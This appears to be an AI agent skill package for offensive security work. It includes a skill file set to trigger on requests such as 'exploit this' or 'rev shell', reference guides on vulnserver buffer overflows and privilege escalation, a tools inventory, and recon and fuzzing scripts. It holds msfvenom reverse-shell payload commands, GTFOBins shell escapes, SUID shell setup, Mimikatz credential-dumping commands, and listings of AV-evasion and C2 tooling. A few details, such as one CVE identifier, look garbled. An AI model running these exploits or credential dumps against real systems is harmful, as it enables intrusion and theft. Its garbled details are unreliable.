Skill: mamuaminu/pentest-workbench (version 1.0.0)

--- name: pentest-workbench description: "Comprehensive offensive security workflow for bug bounty, vulnerability assessment, penetration testing, and exploitation. Use when performing security testing, analyzing vulnerable targets, conducting privilege escalation, building exploits, or running reconnaissance. Covers: TCP buffer overflows (vulnserver), web application testing (VulnerableWordpress/WPScan), honeypot analysis (Cowrie), GTFOBins/LOLBAS privesc, pwn.college fundamentals, and offensive toolchain automation. Triggers on: run a pentest, exploit this, buffer overflow, privesc, OSCP, CTF, bug bounty, vulnerability assessment, rev shell, test this target." --- # Pentest Workbench ## Quick Start 1. **Define scope** — target, rules of engagement, goals 2. **Recon** — passive OSINT, network enumeration 3. **Identify** — find vulnerabilities, misconfigs, weak points 4. **Exploit** — leverage findings with appropriate technique 5. **Document** — record steps, evidence, impact, remediation ## Core Workflow ### Phase 1: Recon & Enumeration - **Network OSINT**: Use `nmap`, `masscan`, `rustscan` for port discovery - **Passive OSINT**: Subdomain enum, WHOIS, Shodan, Censys, Google dorking - **Web recon**: Dirbuster, ffuf, Burp Suite crawler - **For vulnerable targets**: Netcat manual command probing first **Tools from linked repos:** - `netstalking-osint` — automated OSINT recon workflows - `Pentest-Tools` (40+ categories) — scanner/framework discovery, network_enum ### Phase 2: Vulnerability Analysis - **Web**: WPScan for WordPress, sqlmap for SQLi, Burp for auth bypass - **Network**: nmap NSE scripts, Metasploit, searchsploit - **Binary**: IDA/Ghidra for RE, checksec for mitigations - **Config reviews**: weak permissions, default creds, exposed secrets ### Phase 3: Exploitation **Buffer Overflow (vulnserver pattern):** 1. Send oversized input to identify crash point 2. Control EIP with offset measurement 3. Find stable jump (JMP ESP / call esp) 4. Generate shellcode (msfvenom / custom) 5. Execute with proper alignment **Web:** - SQLi → sqlmap or manual union/boolean - XSS → Beef/XSS Hunter - RCE → reverse shell via pentest-tools **Privesc (GTFOBins):** ``` # Check sudo/suid binaries sudo -l find / -perm -4000 2>/dev/null # Shell escape from restricted editor :!/bin/bash ``` **AD Attacks (Pentest-Tools):** - Kerberoasting, AS-REP roasting, SMB relay - BloodHound/Sharphound enum → Golden/DFSRM ### Phase 4: Post-Exploitation - Cowrie honeypot: analyze attacker sessions for TTPs - Privilege escalation: kernel exploits, sudo abuse, service misconfigs - Persistence: scheduled tasks, services, SSH keys - Lateral movement: PsExec, WMI, SMB, Pass-the-Hash ### Phase 5: Documentation - Steps reproducible by another tester - Evidence: screenshots, packet captures, log output - Impact: CVSS score, business risk - Remediation: specific, actionable fixes ## Key References - **Binary exploitation**: See `references/buffer-overflow.md` (vulnserver anatomy, exploit dev) - **Privesc**: See `references/privesc.md` (GTFOBins/LOLBAS, Linux/Windows escalation) - **Tool inventory**: See `references/tools-inventory.md` (all linked tools catalogued) - **pwn.college**: CTF exercises for memory corruption, ROP, kernel fundamentals ## Exploit Dev (vulnserver) Vulnserver runs on port 9999. Vulnerable commands: | Command | Trigger Function | Buffer Size | Overflow Offset | |---------|-----------------|-------------|-----------------| | TRUN | Function3 | 2000 | ~2003 (EIP at ~2007) | | GMON | Function3 | 2000 | Similar to TRUN | | KSTET | Function2 | 60 | ~64 | | GTER | Function1 | 140 | ~144 | | LTER | Function3 | 2000 | Via transformation | | HTER | Function4 | 1000 | Hex-encoded | **Key insight**: `essfunc.dll` EssentialFunc10-14 also use `strcpy` into small buffers (140, 60, 2000, 2000, 1000). **Exploit strategy**: 1. Find offset with pattern_create / mona.py 2. Confirm EIP control 3. Locate or craft a ROP chain if ASLR/DEP present 4. Generate alphanumeric shellcode if bad chars restrict ASCII 5. Use egghunter if space is small ## Tool Quick Ref | Tool | Purpose | Key Command | |------|---------|-------------| | nmap | Port enum | `nmap -sCV -p- -T4 target` | | Burp Suite | Web testing | Proxy, Repeater, Intruder | | sqlmap | SQL injection | `sqlmap -r req.txt --batch` | | msfvenom | Shellcode gen | `msfvenom -p linux/x64/shell_tcp LHOST=x R` | | CrackMapExec | AD attacks | `cme smb target -u user -p pass` | | Evil-WinRM | Remote shell | `evil-winrm -i target -u user -p pass` | ## Mindset - **Methodical > flashy** — good recon beats brute force - **Always document as you go** — screenshot everything - **Understand the payload** — not just "it works" - **Think like defender** — what would stop this attack?

path: references/buffer-overflow.md
content: # Buffer Overflow Exploitation Guide (vulnserver)

## Overview

vulnserver is a Windows TCP server (port 9999) with 14 intentionally vulnerable commands. Each uses `strcpy` into undersized buffers — classic stack overflow training ground.

## Vulnerable Functions

### In vulnserver.c

| Function | Buffer | Command(s) | Offset to EIP |
|----------|--------|------------|---------------|
| Function1 | 140 chars | GTER | ~144 |
| Function2 | 60 chars | KSTET | ~64 |
| Function3 | 2000 chars | TRUN, GMON, LTER | ~2003 |
| Function4 | 1000 chars | HTER (hex-encoded) | ~1004 |

### In essfunc.dll

| Function | Buffer Size | Notes |
|----------|-------------|-------|
| EssentialFunc10 | 140 | strcpy |
| EssentialFunc11 | 60 | strcpy |
| EssentialFunc12 | 2000 | strcpy + printf status |
| EssentialFunc13 | 2000 | strcpy |
| EssentialFunc14 | 1000 | strcpy |

## Exploitation Phases

### 1. Fuzzing / Crash Identification

Use a fuzzer or manual send to find the crash point:
```
python -c "print('TRUN ' + 'A'*3000)" | nc target 9999
```

Watch for Access Violation (SEH overwrite or EIP control).

### 2. Offset Calculation

Generate a unique pattern (msf-pattern_create or mona.py):
```
!mona pattern_create 3000
```
Send pattern, crash, then:
```
!mona pattern_offset EIP_value
```

### 3. Control EIP

Confirm EIP points to `41414141` (AAAA):
```
buffer = "A"*N + "B"*4 + "C"*remaining
```
Where N = offset, B's overwrite EIP.

### 4. Find Jump Point

Locate a `JMP ESP` or `CALL ESP` in memory without ASLR:
```
!mona jmp -r esp
```
Or use `msf-nasm_shell` to find opcode `FFE4` (JMP ESP).

### 5. Generate Shellcode

Bad chars depend on the command. Common problematic chars: `\x00\x0a\x0d\x25\x26\x3b`

Generate with msfvenom:
```
msfvenom -p windows/shell_reverse_tcp LHOST=x LPORT=443 EXITFUNC=thread -f c -b "\x00\x0a\x0d"
```

### 6. Handle Mitigations

**DEP (Data Execution Prevention):**
- Use `msfvenom -p windows/meterpreter/reverse_tcp` with `EXITFUNC=thread`
- Or use ROP chain to mark stack as executable (mona rop)

**ASLR:**
- Find modules without ASLR (DLLs, exe)
- Use `!mona opt` to find non-ASLR sections

**SafeSEH:**
- Use non-SEH protected modules

### 7. Egghunter (Small Buffer)

When buffer is too small for full shellcode:
```
egghunter = "\x66\x8b\x42\x3b\x80\x74\x0e\xff\xe2\xeb\xf9" + shellcode
# tag: w00t
```

### Command-Specific Notes

**TRUN**: Input after `TRUN ` — stops at first `.` in data
```
TRUN . + payload
```

**GMON**: Input after `GMON ` — crashes at `strlen > 3950`
```
GMON / + payload (needs / somewhere)
```

**HTER**: Hex-encoded input. Each 2 bytes of ASCII hex → 1 byte.
```
HTER 41424344... (maps to ABCD)
```

**LTER**: Transforms bytes > 0x7f by subtracting 0x7f. Crashes on `.` delimiter.
```
LTER + payload + .
```

## Mona.py Cheatsheet

```
!mona pattern_create <length>
!mona pattern_offset <value>
!mona findmsp
!mona jmp -r esp
!mona rop -m <module.dll>
!mona emulate
!mona config -set WorkingFolder C:\mona
```

## Checklist Before Exploit

- [ ] Confirm EIP offset
- [ ] Confirm architecture (x86 vs x64)
- [ ] Identify bad chars (null terminator almost always bad)
- [ ] Check ASLR on main binary and DLLs
- [ ] Check DEP status
- [ ] Note encoding requirements (HTER is hex-encoded)
- [ ] Test stability (same input = same crash)
- [ ] Verify shellcode executes cleanly

path: references/privesc.md
content: # Privilege Escalation Reference

## GTFOBins — Unix Binary Abuse

GTFOBins: https://gtfobins.github.io/

### Common GTFOBins Techniques

**vim/vi** — Escape restricted shell:
```
:!/bin/bash
:shell
```

**awk** — Spawn shell:
```
awk 'BEGIN {system("/bin/sh")}'
```

**find** — Exec from file:
```
find . -exec /bin/sh \; -quit
```

**python/perl/ruby/node** — Shell:
```
python -c 'import os; os.system("/bin/sh")'
perl -e 'exec "/bin/sh"'
ruby -e 'exec "/bin/sh"'
node -e 'require("child_process").exec("/bin/sh")'
```

**less/more** — Via paging:
```
less /etc/passwd
!/bin/sh
```

**tar** — Via archive:
```
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
```

**cp** — Overwrite sensitive files:
```
cp /bin/sh /tmp/sh && chmod +s /tmp/sh
```

**perl** — SUID parent:
```
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
```

## Sudo Abuse Checklist

```bash
sudo -l
# Check for NOPASSWD entries
```

**Known exploitable patterns:**
```
(user) NOPASSWD: /usr/bin/find
(user) NOPASSWD: /usr/bin/vim
(user) NOPASSWD: /usr/bin/less
(user) NOPASSWD: /usr/bin/awk
(user) NOPASSWD: /usr/bin/python
(user) NOPASSWD: /bin/zip /bin/tar /bin/cp
```

## SUID Binary Escalation

Find SUID binaries:
```bash
find / -perm -4000 -type f 2>/dev/null
```

**GTFOBins search**: Filter by Function=Privilege escalation, Context=SUID

**Dangerous patterns:**
- `nmap` (interactive mode → shell)
- `vim` (can read/write any file)
- `less`/`more` (escape to shell)
- `awk` (system exec)
- `python`/`perl`/`ruby` (OS-level access)

## Linux Kernel Exploits

Check kernel version:
```bash
uname -a
cat /etc/issue
```

Known exploits (verify before running):
- `CVE-2022-0847` (DirtyPipe) — Linux 5.8+
- `CVE-2021-4034` (PwnKit) — polkit < 0.120
- `CVE-2019-13272` (PTRACE_TRACEME) — <= 5.1.17
- `CVE-2017-16995` (eBPF) — <= 4.14
- `dirtycow` (CVE-2016-5195) — older kernels

Always verify exploit works in non-production test first.

## Windows Privilege Escalation

### Kernel Exploits
- `MS16-032` — Secondary Logon
- `CVE-2021-34527` (PrintNightmare) — RCE + privesc
- `CVE-2022-26919` (SMBGhost) — for older unpatched systems

### Windows Binary Misconfigs
- `icacls` — Check for weak permissions on system files
- `sc` — Modify service binary path to hijack
- `wmic` — Process creation for lateral

### Always-Useful Windows Enums
```
whoami /all
net user admin
net localgroup administrators
wmic product get name,version
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
```

### LOLBAS (Windows Binaries)
https://lolbas-project.github.io/

Similar concept to GTFOBins but for Windows:
- `certutil.exe` — Download, decode
- `mshta.exe` — Execute HTA/VBS
- `regsvr32.exe` — COM scriptlet execution
- `wmic.exe` — Process execution
- `bitsadmin.exe` — File transfer

## Credential Access

**Mimikatz** (Windows):
```
privilege::debug
sekurlsa::logonpasswords
sekurlsa::tickets
kerberos::list
```

**LaZagne** (Windows + Linux):
```
python laZagne.py all
```

**Hashdump** (if lsass accessible):
```
mimikatz # logonpasswords
```

## AD Privilege Escalation

- **Kerberoasting**: Request SPN ticket → crack offline
- **AS-REP Roasting**: Users with no preauth → crack hashes
- **Unconstrained Delegation**: Printer bug → DC compromise
- **BloodHound**: Find shortest path to Domain Admin

## Quick Checklist

- [ ] `sudo -l` — what can you run as root?
- [ ] SUID binaries — `find / -perm -4000`
- [ ] Sudo version vulnerable?
- [ ] Kernel exploitable?
- [ ] Passwords/reuse hashes anywhere?
- [ ] Cron jobs with weak perms?
- [ ] NFS/no_root_squash misconfigs?
- [ ] World-writable scripts called by root?
- [ ] Sensitive files world-readable?
- [ ] Credentials in config files or history?

path: references/tools-inventory.md
content: # Tools Inventory

All tools catalogued from linked repositories. Organized by category.

## Reconnaissance & OSINT

| Tool | Source | Purpose |
|------|---------|---------|
| `nmap` | Default | Port scanning, service enum, NSE scripts |
| `masscan` | Default | Fast TCP port scanner |
| `rustscan` | Default | Modern port scanner (golang) |
| `Shodan` | Web | Internet-facing device search |
| `Censys` | Web | Certificate/OSINT search |
| `theHarvester` | Pentest-Tools | Email/subdomain OSINT |
| `Amass` | Pentest-Tools | Subdomain enumeration |
| `ffuf` | Default | Web directory fuzzing |
| `dirb` | Default | Web directory brute force |
| `netstalking-osint` | GitHub | Network OSINT automation |

## Web Application Testing

| Tool | Source | Purpose |
|------|---------|---------|
| `Burp Suite` | Default | Web proxy, repeater, intruder |
| `OWASP ZAP` | Default | Automated scanner |
| `WPScan` | VulnerableWordpress | WordPress vulnerability scanner |
| `sqlmap` | Default | SQL injection automation |
| `Beef` | Default | XSS framework |
| `XSStrike` | Pentest-Tools | XSS detection |
| `Commix` | Pentest-Tools | Command injection testing |

## Binary Exploitation

| Tool | Source | Purpose |
|------|---------|---------|
| `msfvenom` | Metasploit | Shellcode generation |
| `msf-pattern_create` | Metasploit | Offset pattern creation |
| `mona.py` | Corelan (Immunity) | Exploit dev helper (Win) |
| `IDA Free` | Hex Rays | Disassembler |
| `Ghidra` | NSA | Reverse engineering |
| `pwndbg` | GitHub | GDB plugin for exploit dev |
| `pwntools` | GitHub | CTF/exploit framework (Python) |
| `vulnserver` | GitHub | BO training target |
| `checksec` | GitHub | Binary mitigation checks |

## Buffer Overflow Commands

```bash
# Pattern generation
msf-pattern_create -l 3000

# Shellcode (Windows)
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=443 -f c -b "\x00\x0a\x0d"

# Egghunter
msfvenom -p windows/egghunter -f raw

# ASMX alphanumeric shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=IP LPORT=443 -f alpha2
```

## Active Directory

| Tool | Source | Purpose |
|------|---------|---------|
| `BloodHound` | BloodHound | AD relationship graphing |
| `SharpHound` | BloodHound | Windows collector |
| `CrackMapExec` | Pentest-Tools | AD enum/attack tool |
| `Impacket` | GitHub | Python AD attack toolkit |
| `Mimikatz` | GitHub | Windows credential access |
| `Rubeus` | GitHub | Kerberos attacks |
| `PowerSploit` | GitHub | PowerShell AD attacks |
| `Nishang` | GitHub | PowerShell offensive scripts |

## Post-Exploitation

| Tool | Source | Purpose |
|------|---------|---------|
| `PowerSploit` | GitHub | PowerShell privesc/persistence |
| `Mimikatz` | GitHub | LSASS, ticket extraction |
| `LaZagne` | GitHub | Browser/credential recovery |
| `SharpMapExec` | Pentest-Tools | Pass-the-Hash |
| `Evil-WinRM` | Pentest-Tools | Remote shell via WinRM |
| `PsExec` | Sysinternals | Remote code exec |
| `WMIExec` | Impacket | Remote WMI execution |
| `Cobalt Strike` | Commercial | C2 framework |
| `Metasploit` | Default | Exploit framework |
| `Covenant` | GitHub | C2 framework (.NET) |

## Honeypots & Logging

| Tool | Source | Purpose |
|------|---------|---------|
| `Cowrie` | GitHub | SSH/Telnet honeypot, session logging |
| `Dionaea` | GitHub | Malware capture honeypot |
| `Conpot` | GitHub | ICS/SCADA honeypot |
| `Maltrail` | GitHub | Malicious traffic detection |

## Payload Delivery

| Tool | Source | Purpose |
|------|---------|---------|
| `curl` | Default | HTTP file download |
| `wget` | Default | HTTP/FTP download |
| `certutil` | Windows | Download + decode (LOLBAS) |
| `powershell` | Windows | IEX download cradle |
| `SMB` share | Impacket | File transfer via share |

## AV Evasion

| Tool | Source | Purpose |
|------|---------|---------|
| `Veil` | GitHub | Metasploit payload encryption |
| `Shellter` | GitHub | PE injector |
| `peCloak` | GitHub | Binary packer |
| `Hyperion` | GitHub | Encrypted payloads |

## Network Attacks

| Tool | Source | Purpose |
|------|---------|---------|
| `Ettercap` | Default | ARP poisoning / MITM |
| `Responder` | GitHub | NBT-NS/LLMNR spoofing |
| `Bettercap` | GitHub | Advanced MITM |
| `mitmproxy` | GitHub | Intercepting proxy |
| `WireShark` | Default | Packet capture/analysis |
| `yersinia` | Default | Layer 2 attack framework |

## Wordlists & Cracking

| Tool | Source | Purpose |
|------|---------|---------|
| `cewl` | Default | Wordlist from website |
| `crunch` | Default | Custom wordlist gen |
| `hashcat` | Default | GPU password cracking |
| `john` | Default | Password hash cracking |
| `hydra` | Default | Brute force login |

## CTF / Training Platforms

| Platform | URL | Focus |
|---------|-----|-------|
| pwn.college | pwn.college | Binary exploitation, RE, kernel |
| HackTheBox | hackthebox.eu | All-round pen test labs |
| TryHackMe | tryhackme.com | Guided learning paths |
| OverTheWire | overthewire.org | Linux security challenges |
| VulnHub | vulnhub.com | Vulnerable VM downloads |
| PortSwigger Web Academy | portswiggers.net | Web security |

path: scripts/pentest-recon.sh
content: #!/bin/bash
# pentest-recon.sh — Quick network reconnaissance scanner
# Usage: ./pentest-recon.sh <target_ip_or_cidr>

TARGET="${1:-}"
if [ -z "$TARGET" ]; then
  echo "Usage: $0 <target_ip_or_cidr>"
  echo "Example: $0 192.168.1.1/24"
  exit 1
fi

echo "=== Pentest Recon: $TARGET ==="
echo "[1/5] Port scan (top 100)..."
nmap -T4 -F --top-ports 100 "$TARGET" -oN /tmp/nmap_top100.txt
echo "[2/5] Full port scan..."
nmap -p- -T4 "$TARGET" -oN /tmp/nmap_full.txt
echo "[3/5] Service/version detection..."
nmap -sCV -p- -T4 "$TARGET" -oN /tmp/nmap_svc.txt
echo "[4/5] UDP scan (top 50)..."
nmap -sU --top-ports 50 -T4 "$TARGET" -oN /tmp/nmap_udp.txt
echo "[5/5] Vuln scripts (http)..."
nmap --script vuln -p 80,443,8080,8443 "$TARGET" -oN /tmp/nmap_vuln.txt
echo "=== Done. Results in /tmp/nmap_*.txt ==="
echo ""
echo "Quick look at open ports:"
grep -E "^[0-9]+/open" /tmp/nmap_full.txt | head -20

path: scripts/vulnserver-fuzz.py
content: #!/usr/bin/env python3
# vulnserver-fuzz.py — Fuzz vulnserver commands to find crash points
# Usage: python3 vulnserver-fuzz.py <target_ip> [port]

import socket
import sys
import time

TARGET = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 9999

COMMANDS = ["STATS", "RTIME", "LTIME", "SRUN", "TRUN", "GMON", "GDOG",
            "KSTET", "GTER", "HTER", "LTER", "KSTAN"]

CRASH_CHARS = [100, 500, 1000, 2000, 3000, 5000]

def send_cmd(cmd, payload):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((TARGET, PORT))
        data = s.recv(1024)
        s.send(f"{cmd} {payload}\r\n".encode())
        time.sleep(0.5)
        s.close()
        return True
    except Exception as e:
        return False

print(f"Fuzzing vulnserver at {TARGET}:{PORT}")
for cmd in COMMANDS:
    print(f"\n[+] Testing {cmd}")
    for size in CRASH_CHARS:
        payload = "A" * size
        result = send_cmd(cmd, payload)
        print(f"  {size} chars: {'OK' if result else 'CRASH'}")

Security scan verdicts — ClawScan: suspicious | static analysis: clean | VirusTotal: malicious | SkillSpector: suspicious (CRITICAL)